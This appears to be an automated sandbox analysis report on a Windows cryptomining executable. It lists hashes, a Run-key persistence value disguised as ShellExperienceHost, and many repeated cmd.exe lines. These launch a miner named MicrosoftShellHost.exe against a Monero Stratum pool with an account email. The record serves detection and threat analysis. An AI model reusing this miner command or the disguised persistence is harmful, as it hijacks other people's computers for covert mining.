General
Target

f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe

Filesize

2MB

Completed

21-05-2022 01:07

Task

behavioral1

Score
9/10
MD5

9271ea4c15a9702c08647eac23c932d8

SHA1

7699f28181372cd1db025020f033a49664dd9bbe

SHA256

f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65

SHA256

2034004e2244d612736f309e620e58dbd923137e3d7e23fd1779fe367201dab022fd74e28695d5d6a469f1d8a3ec9625b7c5545deddd2601489aa9b96afb4875

Malware Config
Signatures 4

Filter: none

Defense Evasion
Persistence
  • Detected Stratum cryptominer command

    Description

    Looks to be attempting to contact Stratum mining pool.

    Tags

  • Adds Run key to start application
    f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe

    TTPs

    Registry Run Keys / Startup FolderModify Registry

    Reported IOCs

    descriptioniocprocess
    Set value (str)\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Windows\CurrentVersion\Run\ShellExperienceHost = "C:\\Users\\Admin\\AppData\\Local\\Temp\\f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe"f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
  • Suspicious behavior: EnumeratesProcesses
    f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe

    Reported IOCs

    pidprocess
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    1080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
  • Suspicious use of WriteProcessMemory
    f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 1080 wrote to memory of 15881080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 15881080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 15881080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 11721080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 11721080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 11721080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 14201080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 14201080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 14201080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 17561080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 17561080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 17561080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 9961080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 9961080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 9961080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 19241080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 19241080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 19241080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 6721080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 6721080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 6721080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 16401080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 16401080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 16401080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 12481080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 12481080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 12481080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 2961080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 2961080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 2961080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 16241080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 16241080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 16241080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 15561080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 15561080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 15561080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 7641080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 7641080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 7641080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 3401080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 3401080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 3401080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 9641080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 9641080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 9641080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 12161080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 12161080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 12161080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 5321080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 5321080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 5321080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 5241080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 5241080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
    PID 1080 wrote to memory of 5241080f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.execmd.exe
Processes 19
  • C:\Users\Admin\AppData\Local\Temp\f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    "C:\Users\Admin\AppData\Local\Temp\f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe"
    Adds Run key to start application
    Suspicious behavior: EnumeratesProcesses
    Suspicious use of WriteProcessMemory
    PID:1080
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:1588
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:1172
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:1420
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:1756
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:996
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:1924
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:672
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:1640
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:1248
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:296
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:1624
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:1556
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:764
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:340
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:964
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:1216
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:532
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:524
Network
MITRE ATT&CK Matrix
Collection
    Command and Control
      Credential Access
        Defense Evasion
        Discovery
          Execution
            Exfiltration
              Impact
                Initial Access
                  Lateral Movement
                    Privilege Escalation
                      Replay Monitor
                      00:00 00:00
                      Downloads
                      • memory/296-68-0x0000000000000000-mapping.dmp

                      • memory/340-72-0x0000000000000000-mapping.dmp

                      • memory/524-76-0x0000000000000000-mapping.dmp

                      • memory/532-75-0x0000000000000000-mapping.dmp

                      • memory/672-65-0x0000000000000000-mapping.dmp

                      • memory/764-71-0x0000000000000000-mapping.dmp

                      • memory/964-73-0x0000000000000000-mapping.dmp

                      • memory/996-63-0x0000000000000000-mapping.dmp

                      • memory/1080-57-0x0000000140000000-0x0000000140BDF000-memory.dmp

                      • memory/1080-56-0x0000000140000000-0x0000000140BDF000-memory.dmp

                      • memory/1080-55-0x0000000140000000-0x0000000140BDF000-memory.dmp

                      • memory/1080-58-0x0000000140000000-0x0000000140BDF000-memory.dmp

                      • memory/1080-54-0x0000000140000000-0x0000000140BDF000-memory.dmp

                      • memory/1172-60-0x0000000000000000-mapping.dmp

                      • memory/1216-74-0x0000000000000000-mapping.dmp

                      • memory/1248-67-0x0000000000000000-mapping.dmp

                      • memory/1420-61-0x0000000000000000-mapping.dmp

                      • memory/1556-70-0x0000000000000000-mapping.dmp

                      • memory/1588-59-0x0000000000000000-mapping.dmp

                      • memory/1624-69-0x0000000000000000-mapping.dmp

                      • memory/1640-66-0x0000000000000000-mapping.dmp

                      • memory/1756-62-0x0000000000000000-mapping.dmp

                      • memory/1924-64-0x0000000000000000-mapping.dmp